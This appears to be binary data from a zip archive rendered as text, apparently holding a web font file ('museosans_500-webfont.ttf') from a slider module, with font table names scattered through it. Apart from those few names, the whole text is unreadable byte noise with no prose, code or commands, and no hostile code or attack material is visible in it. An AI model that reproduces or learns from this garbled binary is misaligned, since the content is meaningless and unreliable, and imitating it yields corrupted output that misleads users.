7"%!V��%��ݫC��q��w���4T�㳚GZ/�]��;����n���&I؝G��SU�s�r*��[�5 �n!%��"�	��F\V0(uh�u�s�Pmx����t;򌃼w�à��U��%����9��W��W����e��]�:���C/�8�<��H�c��D�,�B�aVQ�O�A6qJ��V��{�9�z�;Fd�u�&	s�����w��M���x��5d�;��Q9��:�Q��g�.��{��zL�Qm��e~[��FB�_
��hQ���"�2��2V�f��'�W���nq�I��n7�I�eO�p�hn�
��AT�2�y{Qusw�Gw���#�XM���+HZ�ˠƇ��$Hj�*�4��HZ����8Ϙ�z���&����[�S(���Թ��(�rOw��?�jٱѸ��������L�6���C;0jj4���?D��L/K�x�������j��{��UF���u��g�DؓΧȬ;�5@)�k��LN�o�]��y��.�_ ��#�|@�YD��A�ڡ�� ����?.!坠��F`q��$�D��������~����0ɐ�R����_��x�c``Ё��)�yL|L��ݘ3�{��1?aQbq`�c�c��*��z�M���]�}�	�(��L�:�N�)��w�b�fp3q�q/��#�3���^7��e|
|E|����	�L� �Op��
!!���-BτY��m�ψX�Le-=$�"6E��?q+�4�G&m�$�$WH�H�H��$=I����L��%�7�I�;�𙜏�y
�
\
����g(E(�)�S�P�P.R��|C�J%F�*����51�*�?��O4t4�4hJi�h�i�Ѽ�e�uJ�@{0P������}���W�wC_F?M��A����5�U�1&z����x�:̹�����P�H�xgYcy���j����:�{6Q6�l�l�l��9�m���o�����p�Q�q��1�_N&N5N���(��q5smr����v�=�}����O�>�;^&^{��yx�y�x������t�����s��/���o�o���w~~9~����/�?��A@L��@����E�'��5�B�kV9xڥR�N�@=-���Hb�1.W�(�bb� ���	ƕ+"�����µ���K�µ_����"s��3g�3sf$��p�5�k��(�:�q/8�9<
cO�Gǻ�f�!xe-!8�i�Tp��Vp�� x9�Up9=*x�zAp�D�3��~���.6�r�wh��:.�<jX`^A��NTe���v��au6j,��m��0��騑�l3��g�ܧ�g\Ζ�uTݚZ�H���6
8���c�<L���q�#�"G�z?�e�vZŗ��Y��~
���y�c�6�T�&9�C��k�/��۰�������G�G�����LJy�Qmb��S�¥Z��k_�)\�t��ԃ�<����#��[�=T�$[�5�f�?��|w���`�EƁ�x�m�eo�A��l�ݨ;��u��X)PZܖʶP�e����}�`��5@ �]�;$HпP���'��2'����@ǴZ��?#.m�Aq�	gt���x����H��J�DI��&�X�'�D�H&�T�H�3]�J7�0�A&Yd�C.yt�=�Eo�З|
(��bL�?� JL)C�0�N9�`$���2��L`"�0�{Y�2�����a�'�
K��:Vr���{8�nq��T��*�Q�m��<�!?��)�y�1,l��xN-���*�P�T�Q��]40�Fl4a����'��Ms��\�g!���_.�*�N\�U�x)��!��%���qN������(A,!\����+>�w����(�&�!�%�$Zb$V�$^$����,��i�p��\e�%��\�
�$YRX�f���l�TI�t�������b���"e�^�HWTi�5XuU�bE���\io���+JTX�(UXe�MQ�B��\�܁s���jq�����m�4
�F��L�,�l��\�<�|�A{�`p����m�U�ZM�,�S����q�2�k*P=�4��*��x�E�=�@�]�?�iM�4[��BCc���#�j���Fo�+��p���f�K�E�3�)�YW5�wU\V��d��I���mE��90�3͟,3dav��a#�N�A�K
7���12���ѝk�o�1@��(���4�~͊nB̉}�!2\�����cD��#d|� ��2N&R��PK!�4�4�Imod_ap_smart_layerslider/admin/fonts/museo-sans/museosans_500-webfont.ttfnu&1i�0FFTM_��<GDEF:X&GPOS}�h��zGSUBf�T���OS/2���<!�`cmap}lXB"H�cvt v,%�6fpgmS�/�&(egasp(�glyf��n9(���headc+�Έ6hhea�#�$hmtxvbp^��loca�	�*�maxp&�� nameS����0xpost��_�بkprepo��webf�R��,�=����<��p�
,latn��kern
�>�������
(6@J`z��������&<N`������$:Pft����������2`f�p���9M�)�)	������������0��9��Y��������������9��Y������
���������������������u�w����������������9��;���f����S��[�����t�f9���=;��9������9�+�'��=����
������"0��@%S��`%�7�%���������@
Y���������3�������9%;
�3�%7�=8��9��:��<��7�^9��:��<��7�X9��:��<��
��"$��-��7-9+<%@%`#�1��7�?8��9��:��<��-��7�o8��9��<��8��:��<��t�{7�N9��:��;��<��=��$��-��7�s;��<��=��7�`9��:��<��7��<��7�=8��9��:��<����$��7�{;��=��$��7�m;��<��=��7�m<�����$��-��7�{;��=��7�`9��:��<��9%M�3�1O�{Mb��9��;��+"@5`5"��+"/@)`5��[��H
Hm"w@}`}�{�q�u�3�3)
)T"\@b`b�`�V�Z����#�"@`����)�>%)/03479:;<>DFHIJNORTUVWXYZ[\]^tx�����������������v6,�������������������������������������������������������������������������������������������������������������L�������������������������������������������������d����������������������������������������������������
����������������������d�`��h�Z��������������������������������������;���������������������������������������Z5/���m��3�m�f���{������?�V�D����+�R�L�N��!�?)�����������������������3+�������������������������������������������������
����������������������������/'������+��������������������%����������%�������y��������������)%�����R�������������������������?����������������������
�������������������������)%
�������������������������������������������!������������������������������������������������	

 !#"##$%&'()*+,					-. /#$$$$$$)) 	#	%%*1212' !(



	"%#%$%)#
*






	%%%%%&%%%%%%
%#%
%	
$>DF!II$KK%NN&PS'UU+Y^,tt2y�3��X��Y��`��a��g��h��i��j��m��r��s��t��w��z��|
 Rlatn��fracliga,
	

 (08@HPX`hpx���x����Bt��.x���OLI$�"� $(�"&*.�$(,04�&*.26:�(,048<@� *.26:>BF�"	,048<@DHL�$
.26:>BFJNR��$����3�3�f��@Jxljb@
��#� �� ��\@
~��������1:>HUYaeox~��� 
    " & 0 : D _ �!"""H"`"e%����
 ��������19=GRX`dnx}���       & / 9 D _ �!"""H"`"d%���������������������������������|�s�q�k�i�a�Y�U�B���������������������Q����޸ޡޞ�
	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a}~�������������������������������pdeg�s�ni�rh��qfjv��xcl�kw�by|�����������������t���{�z���������������o���u��������������������������D�,�K�LPX�JvY�#?�+X=YK�LPX}Y ԰.-�, ڰ+-�,KRXE#Y!-�,i �@PX!�@Y-�,�+X!#!zX��YKRXX��Y#!�+X�FvYX��YYY-�,
\Z-�,�"�PX� �\\�Y-�,�$�PX�@�\\�Y-�, 9/-�	, }�+X��Y �%I# �&J�PX�e�a �PX8!!Y��a �RX8!!YY-�
,�+X!!Y-�, Ұ+-�, /�+\X  G#Faj X db8!!Y!Y-�
,  9/ � G�Fa#� �#J�PX#�RX�@8!Y#�PX�@e8!YY-�,�+X=�!! ֊KRX �#I �UX8!!Y!!YY-�,# � /�+\X# XKS!�YX��&I#�# �I�#a8!!!!Y!!!!!Y-�, ڰ+-�, Ұ+-�, /�+\X  G#Faj� G#F#aj` X db8!!Y!!Y-�, � �� �%Jd#�� PX<�Y-�,�@@BBK�cK�c � �UX � �RX#b �#Bb �#BY �@RX� CcB� CcB� c�e!Y!!Y-�,�Cc#�Cc#-��DdU.�/<��2��<��2�/<��2��<��23!%!!D �$��hU��D����@�+��+�/�ְ2�
�2�
�2���/�	+��9013#53���
����s���=;�B�+�3�+�2�+�+�/�ִ+��+�+�	+01333����=����Zj�9�+�333�+�333�+�	

$3��$2�
+�$3��$2� /�ֱ��+���+���+��!+�6�?�.+
�?	��+
��+�+�+��	+��
+��
+�+�+�+��+��+��+��+��+�+��+@	

................�@017!!7!3!3!!!!#!#7!!Z;��
H�H=H�H��>
��F�D��C�C�=>����X���f��f�����y��y��Xo�/y?��:+�73�	�:
+�@:9	+�+�3�'	�'
+�@	+�@/�ֱ*
�*�9+�2�8+�2�8�
+�4
�A+�*�9�9�9�8�'99�
�/9�4� !99�'�!4$9�� 901?32654.546753.#"#5.'orLQz<j�1RjvujR1ԩ�@wO<\BFh4s�1RjuvjR1Ѳ�I�[F��6("rc0P;647GSvF����!(&

�+!{X.L8317HV{J����+42b����	
#/��
+�!+�'�+�+��-!
+�-�!
+���0/�ִ+��+�$+��+�$$+�$�*+�$+�1+��
$9�*$�!999�-
�99��990146  &332654&"4632#"&732654&#"b������R���BWA@WW�𵂀������WA?YY?@X�}��}~������ZπWVA@Z��}��|~��~AWX@?ZZo���,7��*+�0
�+��!+�+�+�5*!
+�%3��#2�8/�ֱ-�-� ��
�/�
�-�3+� 2�'�"2�'3
+�@'$	+�9+�-�99�3�*0$9�50�9�!�99014675.54632&#"3!533##"$7326=!"o�u'%,��$X4;1o�$8b@�������Σ����왧�|�'5>[3���vg9?.�Ű���k������=�)�+�+�/�ִ+�+�+013��=����=1�
�/�ֱ�+013#&����p}��y��V�*�]��9�=��
�/�ֱ�+0139���}q��������R�4�J�u�%�+�/�ֱ�+��
$90173%'#'75J5�8�紑����=�f#��f�K�j��j����L�
+�/�3��2�
+�@	+�/�
ְ2�	�2�	

+�@		+�
	
+�@
	+�
+015!3!!#�ʨ�7�����	���7�1�� �/�
+�/�ִ
+�+0137ˬ���Z���"�/����/�+�+�+015!�V��m�)�+��+���/�ֱ��+01353����J���M�/�ֱ��+��+�6�<��T+
�.�.�������....�@013J���VJ������,G�+�
�+�'
��-/�ֱ��!+��.+�!�$9�'�99014>2".732>54.#"� Js��tJ  Jt��sJ �CyVFjD,,DjFEjD+Ձٿ�LL��ف���MM��ڂ}ŸU:b��cb��b99b��h��B�+��2�+�/�ֱ�
+�@	+�
+�@	+�+��9013!!5!7#h[�;��?5�VP�
���Z!3�q�+f�*+�'�+�
��,/�ְ2�'�'�
+��

+�@(	+�-+�'�*99�
�
$$9�'*�9�
�$90174>54&#"'>32!!&q0RkuukR0�s5dB3�
(/OXzC�Lz��{M�\
oS�qfVQPSd6k�&66d94?.�`�znbbxC�AR���.E�'+��+���//�
ֱ"
�0+�"
�99��"$9��9901?32654&+'>?5#!5!#".'RoGMt;|�Že/<-+P�a�v<spU4G}�l<uZR9+
��6*"�s�ms/���;%E^�Q]�L"*+"?��
b�	+�+�	
+�3��2�/�	ְ2��2�	
+�@	+�	
+�@		+�+�	�99��9��901533##%!46?#?�����#�!'�g������}��HD3��b���*��%+��+��
+�@	+�
+���+/�
ֱ"�,+�6�?���+
�.��������+�+� � �#9�9�....�......�@�"
�99��"999��901?326&#"'!!3>32#".'bq=Dm9����?ztG��"	!b/����S�bK��6)"��$+Ͱ��&
	�����);<y��f� -m�+�%
�+�
�+
+���./�ֱ!�!�(+�
�/+�(!�$9��
99�+%�99��9��9��
9014>32.#"3>32#"732654&#"y0i�ۂL� !B
%m3`�h@-�`�������T�Xz���y��r�բb�S��^=L�����y�^�y����{H�
$�+�+���/�+��
99015!#>?5#H�s�3* J�����s$Cu��\�+@m�+� 	�+�>	��A/�ֱ��, ��
�/�,
��;+�#2���B+�;� )$9��9�> �*6$9014>7&54>32#"$732654.'>54&#"u*6L'�#Ih�Y��]gx���ϱxv�$2]G|#�?5'G+R2�st��>yPMu�;maG*ұ��9�iq�w��x��m&C/6!7z�/)"#!"	'Lf5cvrd��R�"/m�+�
�+�-
� &
+� ��0/�ֱ#
�#�)+��1+�#�99�)� $9��9� �9�&�9�-�9901432#"&/732>7##"732654.#"d�rǑS0i�ۂL�  B
%l3`�hA,�a�ɠ�x�U�X{���b����r�բb�S��^=J̇�}N^�y���/�+��+���/�ְ2��2��	+0135353������9��`�1�*�+���/�ְ2��2�	+��901353`m͚1����Z��DZ�55D��#�������ʶ�5�X�/��/���/�	+015!5!��/�5�����yZ357555y�%�Z�65��V�BT�#'X�$+�%�/�
��(/�$ְ2�'
�2�'�+�	�)+�'$�99��99�%�	#999��901>32#54>54&#"53BGMz>��(@MN@(�&>JJ>&�e9us�?."ѦEuTKDEW2Ta?nOIBCU0Wt+�N��y��'0l�#/�"�/�+�2�./��/���1/�ֱ�
+�@#	+��+�(
�(�,+�2��2+�,(�99�.+�9990146$323!"&54>;.#"3"$&%;#"yu��s�yP"��ѻ�g�}�������������t��g��i���w-MkwC����f�k[w������u��e����,�+�3�+�
+���/�+��90133#!!./#	�Ӓ����� ��Z��`H�!f##�J���"g�+��+�"�
+���#/�ֱ
�2��+�� ���$+��	99��9��	99�"�9013!2#%!2654&#!5!264&#!����`Tp~J�`��Ft��q��/atrg���ƫi�+!�}c�e5��po��z�tb��w�*3�'+�
�+�	��+/�ֱ�,+�� !$90146$32.#"32>?#"$bq��a�vZdU\�F������L�fQmlx�e���ۛ�r'88�6*"�������'77�	P<2�Y���	8�+�
�+���/�ֱ

�
�+��+�
�9013!2!%!2#!���J��s�����!������������/�J�+�	�+��
+���/�ֱ	
�2�	
+�@		+�@		+�@		+�
+013!!!!!�G��������;��/����	@�+�+��
+���
/�ֱ	
�2�	
+�@		+�@		+�+013!!!!��������%���d����3{�&+�/+�
�+�	�"#/
+�"��4/�ֱ��&+� 2�%�&%
+�@&"	+�5+�&�)/$9�%�99�#/�(99��99��90146$32.#"32>?5#5!#57##"$&dq��a�u[fSY�E�����F�^I���U_�P����q՛�t$33�0&�������%55Ѱ�)Z>=/&o��H�?�+�3�+�3�

+�
��/�ֱ
�2��+�2�
�
+0133!3#!��������{�Z{�����!�+�+�/�ֱ
�
�+0133����Z=����P�+�
�
+�@	+�+�
��/�ֱ
��+�
�
+�@
	+�+��9901533265!5!".=�'CO-_���81Spz�yoR1�G=Gj;|�T���[�dEFd����
;�+�	3�+�3�
+���/�ֱ

�2�+��99013333##���m�\������`�R���h��,�+��+�/�ֱ
�
+�@	+�+0133!�����
��V�&t�+�
33�+�3�'/�ֱ&
�&�+�

�(+�6��2�+
����
���.�..�@�&�9��999�� 9901333673#&5454?##./#�t�L$
'!K�u�G*#�ߴ��'F���$asP�Z�'6"�P�u�#l%% YB�q�J�P�+�
3�+�3�/�ֱ
��
+�

�+��999�
�999��9901333&53#./#���<��{<��T#h##�P��Z�$i##�R�Vb��/�!D�
+�
�+�	��"/�ֱ��+�	�#+��
99��	990146$32#"$&732>54. bt���T���Κ���tѐ��mŎT����ݙ�r������v������X��x��������	D�+�+��

+���/�ֱ	
�
2�	�+��+�
�99013!2#!!2654&#!������%���������h���Ǘ���d��3�+[�+�
�+�'	��,/�ֱ��#+�	�
2�-+�#�999�	�99��
99�'�	9990146$32'!".73267'7654&#"ds���U�ZP�w���{䶈Iэ�S�>�w�j��oŎSۚ�r��΅�b���L���}����82�������T�����_�+�3�+��
+���/�ֱ
�2��+��+��
999��9��
99��9013!2#!!2654'&+���[p��v3���#w�s@���!*Ѝ��&/��?���y�@!V���9a�4+�
�+�$
��:/�ֱ'
�'�
+�1
�;+�'�9�
�$,4$9�1�99�$�1$9��901?32654.54$32.#"#".'VsLQz<j�0QittiQ0	�K�[G\AFh4r�0QittiQ0��V�lT��6("rc2R<625ESvG��*+�+!{X0N8205FV|K��'98
��:�+�+��2�/�ֱ
�
+�@	+�
+�@	+�	+015!!#
�������
����#�9�+�
�+�
3�/�ֱ
��	+�
�+�	�9901332653 ��ŧ��������Z������Z��(�
!�
+�+�
3�/�+�
�90133673#�gj�����#c !yN��ZDT�!��!+�3�+�333�"/�ֱ��+��#+�6����+
��!������&�+
�.����������+��+�+� � �#9�9�.....�!........�@��9�!�99901336733673#./##D��	
��������#MJP%��$MLN%�Z�)fq\�V-��&�+�3�+�	3�/�+��99013	33673	#'#-�T��\)/��T��\'/�����y�\P��C���VP�D��2�+�+�
3�/�ֱ

�+�
�99��90133673#�,+-����%$[eR����dTy�2�+��+�
��/�+��99�
�
990135>?5#!5!63!T�5'F�q��G4&F���$C���$A��=!�5�/��/���/�ִ
+�2��
+�2�	+01!#3�R��������9����M�/�ֱ��+��+�6���L+
�.�.�������....�@013#9�	��H�=��>�/��/���/�ְ2�+���/��+�/�	+013#5!!H��T��+w��\��?��+�/�+013#	�����������T�/9�`��+��+�/�+013!!9N���J
� �/�+�/�ִ+�+013#JՕ���H���%+<}�+�)+�/�+��5)
+���=/�ֱ,
�,�3+�	2����/�>+�,�99�3�)999��!#99�)� 9��9��9014>;54#"'>32#57##"&732>=#"H5Owk�S1-�-\D8RMT�C�ո!9@[3���g\P�B3'@[FK1 #FrI5�
�* ��qbR+&0"��Dbf�O!	)>���u�(_�+�+� �+�+�&��)/�ֱ�22��#+�
�*+��99�#�99�& �$901333>32#"./#32654&#"��9ExD����ArH5>�^��������'X=.&����%45!-L`�nȫ�̻R��%$=�"+��+���%/�ֱ
�&+�"�9��
999��	901432.#"32>?#"R9�I�WB^9>a1��Π6jI;POY�L���7--�)���))�9,$4X��3�*c�+�+��
+�+�(��+/�ֱ
��$+�
22��,+�$�99��9�(�999��	
99014323&53#57##"732>54.#"X�CtD2
	Ƽ8G{H�ˣ�<hV1>�^���*"00'�ZbFB3*+��+W�_`�n�T��%#h�+��+�!�	
+���$/�ֱ	
�2�	�+�
�%+�	�999��999��9�	�9��901432!32>?#".!.#"T%��d�
˒2dG9ROW�E����)�iu��+�وV��$#
�3' �����R��N�+�	+��	
+�3��2�/�ְ2��2�
+�@	+�
+�@	+�+015354>32&#"3##R�9SqY/&		2?.���^�1a�O1
�,S7-���^X�R#%&1r�
+�+�/�/��#/�*��2/�ֱ'
�'�-+�
22��3+�'�99�-�#$9��	9�#�9�/� 99�
�	9014323&=3#"'7326=7##".73265!"X��FvE2		�X��f��B3�E��aҍ�mɣ�x��ۆ��" --`�{�m5V�'��LA���ȩ�\��F�O�+�3�+�+�	��/�ֱ�2��
+��+��9�
�9��9901333>32#4.#"��(ʍ���(Q<t�!���VY���hj<VL'�r:P��b�0�+�+��+�/�ְ2��2��	+01533�������%�����Zb�.�+��+�/���/�ְ2�
�2�+012>53#'53q63B/!�1FFQ> F�.W:#��GvO;!}����
=�+�	3�+�+�
+���/�ֱ
�2�+��99013333##�ƒ��ɖ���}�8��������!�
+��+�/�ֱ�+01337#".��:5"#(BP7&���V=�
$<n��%-u�+�33�+�+�3�'�2�./�ֱ-�2�-� +���+��/+�-�99� �9��
99��9�'�
$901333>3 3>32#4.#"#4.#"��'�u5-�y���&L8h��&D.m�
�L`��c���hm<VK'�pAN�'m.CH.�u5R�'�F%Q�+�3�+�
+�	��/�ֱ�2��+��+��99��
9��9901333>32#4.#"��=]�P���(Q<u�!�L&LL0��hj<VL'�r:R�P���%G�
+��+���/�ֱ
��+�	
�+��
$9��	99014>2 $&732654&#"PX���͗X������Д��Ζ��sʎRR��s��������ԡ�����fu%(l�+� �+�+�&�/�)/�ֱ�2���#+�
�*+��9��9�#� &$9� �99�&�9990133>32#"./#32654&#"��:H~I����@pE4
A�[�������f�XLA2)�����#22%5�/�_�mȫ�̻X�f3%*a�+��
+�+�(�/�+/�ֱ
��+�
$222��,+��($9��	9�(�
	$9014323&=3#7##"732>54.#"X�CuG4
��8ExE�ˣ�<hV1>�^���*$33)N�Z�[>/'+��+W�_`�n���;�+�+�3���/�ֱ�2�+��99��9901333>3&#"��%�t3a�#�Nw���rRh�XH��H%5f�0+��+�"��6/�ֱ%
�%�
+�-
�7+�%�9�
�")0$9�-�99�0�9�"�-$9��901?32654.54632.#"#".'H`;Ad2Eg;^rq^;֡@sJ8
P27W.Gc;^qr^;ϨG�YD�* E<&=-,7EmE��!"� @?%<++8EmE��--?���)P�+��/�3��2�
+�@	+�/�ְ2�	�2�	
+�@		+�	
+�@	+�+015333#37#".5?���� /@30)0ZtT;^�+�ՠ�3;Y0�
0O�c����-Q�+�+�
�+�3�/�ֱ��+�2�
�+��9�
�99��9901332653#57##"&��(P<���&̋��u���;UK'���LZ���!�+�+�3�/�+��9013;2>73#�		
	�����DG--G���#`��+�33�+�$3�/�ֱ��+��+�6�¡��+
����������/+
�.���
����=T�+
�������»�+��
+��+�
 � �#9�9�
......@

..........�@��9013;6733673#'###��
����������)895�+n95���p;5�f-�&�+�3�+�	3�/�+��99013	33673	#'#-`���#��`������>#;���Z9 ���R+�+�
3�/���/�+��9��990133673#"&/7326?�	��.�o4dF:?;a3�Z>F5��:v~ �+QGvP�4�+��+�
��/�+��99�
�9��
90135>?5#!5!63!P
+ D�V��,
#Ds�0�r�n/�d�7��<R�0/�,�/���=/�6ְ2�&�2�&6
+�@&.	+�2�6&
+�@6	+�>+�&6�9�,�699015>=4>3#";#".=4.'d<-&4HcH%/%5&"119,$&5%%HcH4$33B�,Z<�\�H+�,S8�9_7'	(4b;�8S,�,I�]�;Y+��yV�/�ֱ��+013ˮ����d?�7h�>G�>/��/� ��?/�ְ2�7�(2�7
+�@>	+�2�@+�7�9��(7990132>=4>?5.=4.+5632#'?%5&"119,$&5%1D;=*$33<-&4HbH%0-,S8�;a6%
*5`9�8S,�6ImC�<Z,�+Y;�]�I,��Z�V�/�	�/���/�ִ$+��+�$+�+��99�	�99��99��9901463232>53#".#"���;`@:H*'8
���;a?:I+&8���);<)#;@#��)::)#:?"��f�4�+��/�/�ְ2�
�2�
�2�	+��901353����f�����m��/� e�+�
+�/�+�!/�ֱ
��+�2�+�2�"+��
99��99�
�
$9��99014>753&#"3267#5.mfƄ���6�Z�����_�)�7Ç���fӕ������F�ܫ��n]H~�����sV�o�+��2�
+�	�

+�3��2� /�ְ2�
�2�
+�@	+�@	+�
+�@	+�@	+�!+��9�
�901353#534632.#"!!!s}ZZ��:qO>u'u8o�y����ݐ��'&
�
1}^��#�9��~�+�+�
3�
+�3�+�2�
+�3�+�2� /�ְ2�
�2�
+�@	+�
2�
+�@	+�2�!+��99��9901336733!!!#!5!5'!539��,+-����7L����N7�����=+hq`���cK��h��Kc�b��%�1��+�(�/���2/�ְ02�+�-2�/++�.�+�
+�2��2�
+�
$+�
/�$+�3+�6�����+
�0.�..�0�-��.�/������+
�
.�.�
������
-./0........�@�./�99�
�(99��9�(�$$9��#901732654'3#".'4632.#"#&bZ
*+B _z���
б2`B4
Ѳ1`B5
^	"f2az����
pg(4��7%��
���
�'kd$.��.?�/�/�3��2���/�ֱ��+��	+0153353���?����o��#�!I��+��+��G:
+�G�'4
+�'��J/�ִ+��"+�7+�7�+�	+�K+�7�'-AG$9�4:@	-".@A$9016$32#"$&32$$#"4>32.#"32>?#"&os�
��Q�s����"Z��x�����xיc9f�ZBvI6}&,F%u��x&E."};FwB��:2�u��͙���vv�-��^�R�^���Q�qC*;;D,"�or�&%
DF5,����$.��+�
+�/�+�"/�(+�-/�+�//�ְ2�%+�%�++�22�+�0+�%�99�+�
"999��9�("�99�-�9�
�9015!4!354#"'>32#5##"&7326=#"�3����'U;05T,��	"'C%X��71CW�tt��
�e
�}�e^&kf%3qEZ��3	#3	#ZP��P�LP��P�B��[�\���[�\{5LX0�/��
+�@	+�/�ֱ�
+�@	+�+015!#{Ѧ��������5!�V�o��#�!2;��+��+��13
+�1+�13
+�@1"	+�.2�#;
+�#+�</�ִ+��"+�2+�32�2�7+�'+�'�+�	+�=+�72�0$9�'�*+/999��.9�1�999�3�	+*999�;�'$9016$32#"$&32$$#"!2##32654&+os�
��Q�s����"Z��x�����xי�)m�W6	���}{9DC:{:2�u��͙���vv�-��^�R�^��!�kRm#��+���G=;A�F�"�/����/�+�+�+015!�
F��X`��	K�+��/�
��/�ִ
+�
�+�$+�+�
�$9�
�990146  &72654&"X�������W�XX�W�}��}~��~?XX?@ZZ�����S�
+�/��/�3��2�
+�@	+�/�
ְ2�	�2�	

+�@		+�
	
+�@
	+�+015!3!!#!!�ʨ�7��V������	����E�J
� �/�+�/�ִ+�+013J���
��X��h�S�+��
+�@		+�
2�/�	ִ+�	
+�@	+��+�/��
+�+�+01>3!!#"&3X�ނ-�o���z�H�|���T}�/����"�/����/�ֱ
�
�+0153�����^�X�/A�/�+�/�ִ+�+�
+�
/�+�+�
�
990132654&#7#"&/^)-+8<1%<dBRyX9
��!!�pN@XT;�h�+�+�/�
+�	/�+�/�ִ+��+�+�+��
99��	99��99��99014632#"&5!32654&#"ʒ��˓��!��uVUtuTVuj�������JttK]wx\Zuuf��7	3	3	3	fP���P���P���P������[�\���[�\P�R`$(X�&+�%�!/�	��)/�ֱ��%+�2�(
�
2�*+�%�99�(�!99�!�9�%�	999014>=3326?#".53P(@MM@(�&=JJ=&�e9ulFMy>t�vf�9EuTKDEX2LX?nPICCU/Wv,�-#Z�����,�+�3�+�
+���/�+��90133#!3#!./#	�Ӓ��Օ���� ��Z��`���>�!f##�J�,�+�3�+�
+���/�+��90133#!!./#3	�Ӓ����� �����Z��`H�!f##�J����,�+�3�+�
+���/�+��90133#!3#'#!./#	�Ӓ���ε�mkn�� ��Z��`
�����>�!f##�J�)��+�3�+� 
+��/�3�+�/�
+�2�*/�ִ+��+�+�++�� 99��
&'$9��!99� �&9��90133#!3232653#".#"!./#	�Ӓ��J�&A-(.*&��&A-(.*&�� ��Z��`)(P5��)(O6�<�!f##�J�e�+�3�+�
+��/�3�	�2�/�ֱ��+��+��99��99��
99��90133#!53!./#53	�Ӓ������ ����Z��`?��	�!f##�J-���#){�+�3�+�
+��/�!+�'/�+�*/�ִ+��$+�+�++��9�$�$9��9��9�'!�990133#!!./#4632#"&732654&#"	�Ӓ����� sfHGggGHfj%'&%��Z��`H�!f##�JwFTUEDSSD&& ((��Y�+�3�	�+��2�
+�
3��2�/�ְ2�	
�2�	
+�@		+�@		+�@		+�+013!!!!!!!	!#V!�����������F^���;��/���}+�f�X{�>q�'+�<3�
�+�	�./�5+�?/�ֱ��7+�++�@+�7�(.2;<$9�+�'9�'5�+:;999�� !$90146$32.#"32>?#"&/53254&#7$fq��a�vZdU\�F������L�fQmfr�`BRyX9
)-b;1%)���ۛ�r'88�6*"�������'77�	L<4MN@XTw?!���/R�+�	�+��
+���/�ֱ	
�2�	
+�@		+�@		+�@		+�+�	�9013!!!!!3#�G������>Օ����;��/����/J�+�	�+��
+���/�ֱ	
�2�	
+�@		+�@		+�@		+�+013!!!!!3�G�������������;��/�
���/R�+�	�+��
+���/�ֱ	
�2�	
+�@		+�@		+�@		+�+�	�9013!!!!!3#'#�G������5�ε�mk���;��/�
�����/l�+�	�+��
+��/�3�
�2�/�ֱ	
�2�	
+�@		+�@		+�@		+�	+��	�+��+013!!!!!53353�G������T������;��/�?�����)�+�+�/�ֱ
�	+��999013#3Օ��������Z�=)�+�+�/�ֱ
�	+��99901333�ʼ�����Z
��F'�+�	+�/�ֱ
�
+��99013#'#3�ε�mk	�
��������Z/)E�+�+�/�3��	2�/�ֱ
�+��/��+��
+0153353/��
�?�����Z?��s��
g�+��+��
+�3��2�/�ְ2�
�2�
+�@	+�
+�@	+��+��+��990153!2)!2#!!!sy��J��s���!��"����1���������1�1��J/��+�
3�+�3�&/�3� +�,/�+�#2�0/�ֱ
��+�/+�/�#+�$+�$�
+�

�1+�#/�&99��99� &�*9�,�901333&53#./#3232653#".#"���<��{<�&A-(.*&��&A-(.*&��T#h##�P��Z�$i##�R�V)(P5��)(O6b��/!%G�
+�
�+�	��&/�ֱ��+�	�'+��
"$$9��	990146$32#"$&732>54. 3#bt���T���Κ���tѐ��mŎT����Ֆ�ݙ�r������v������X��x��������b��/!%G�
+�
�+�	��&/�ֱ��+�	�'+��
"$$9��	990146$32#"$&732>54. 3bt���T���Κ���tѐ��mŎT��������ݙ�r������v������X��x��������b��/!)G�
+�
�+�	��*/�ֱ��+�	�++��
"%$9��	990146$32#"$&732>54. 3#'#bt���T���Κ���tѐ��mŎT������ϴ�lkݙ�r������v������X��x����������b��/!9��
+�
�+�	�0/�"3�*+�6/�$+�-2�:/�ֱ��"+�9+�9�-+�.+�.�+�	�;+�-9�
$0$9��	99�*0�490146$32#"$&732>54. 3232653#".#"bt���T���Κ���tѐ��mŎT������&A-(.*%��&A-(.*&ݙ�r������v������X��x������)(P5��)(O6b��/!%)u�
+�
�+�	�"/�&3�#�'2�*/�ֱ��"+�%�%�&+�)�)�+�	�++�%"�9�&�
999�)�9��	990146$32#"$&732>54. 53353bt���T���Κ���tѐ��mŎT�������ݙ�r������v������X��x����������f��3�!,n�+�$
�+�	��-/�ֱ��)+�
�.+��9�)�
"$9�
�	9�$�999��
,$9��	
9990146$327#"''7&7&#"32>54&'ft��˰^d^|����ٰafdw�Ѡ�{����}�mŎTYOݙ�rd�E�e�۫���m�E�i(��zJ���{PX��xy�K���#<�+�
�+�
3�/�ֱ
��	+�
�+�	�$901332653 3#��ŧ������'Ֆ���Z������Z��(������#<�+�
�+�
3�/�ֱ
��	+�
�+�	�$901332653 3��ŧ������ߖ����Z������Z��(������#<�+�
�+�
3�/�ֱ
��	+�
�+�	�$901332653 3#'#��ŧ�������ϴ�mj��Z������Z��(��������#n�+�
�+�
3�/�3��2�/�ֱ
��+�$+��+�$+��	+�
�+��9��9��901332653 53353��ŧ������>�����Z������Z��(0�����6�+�+�
3�/�ֱ

�+�
�$9��90133673#3�,+-�������%$[eR����d������M�+�+�

+�
�
+���/�ֱ
�22��+�
�+��990133!2#!!2654&#!��H����'����������h���ј������}�9q�+�3�"�+�5��:/�ֱ9�9�,+�
��2+�
�%2+�
�;+�,9�99�%�
$9�"�9�5�9990134>32#"&/532654.54>54&#"���s��.5.6R_R6͑T�
.�DJb6R^R6*==*f\b�=y�U��/T:<.:?5IJm=���#JI'J9EB]3/VCAO)A^vm��H����+/@��+�)+�3�,+�+��9)
+���A/�ֱ0
�0�7+�	2����/�B+�0�,999�7�)-./$9��!#99�9� #999��9��9014>;54#"'>32#57##"&3#32>=#"H5Owk�S1-�-\D8RMT�C�ո!9@[3��Ֆ��g\P�B3'@[FK1 #FrI5�
�* ��qbR+&0"�����Dbf�O!	)>H����+<@��+�)+�/�>+�+��5)
+���A/�ֱ,
�,�3+�	2����/�B+�,�99�3�)=>@$9��!#99��?9�5� #999��9��9014>;54#"'>32#57##"&732>=#"3H5Owk�S1-�-\D8RMT�C�ո!9@[3���g\P�B3'@[FK1 ����#FrI5�
�* ��qbR+&0"��Dbf�O!	)>O��H����+3D��+�)+�7�-+�+��=)
+���E/�ֱ4
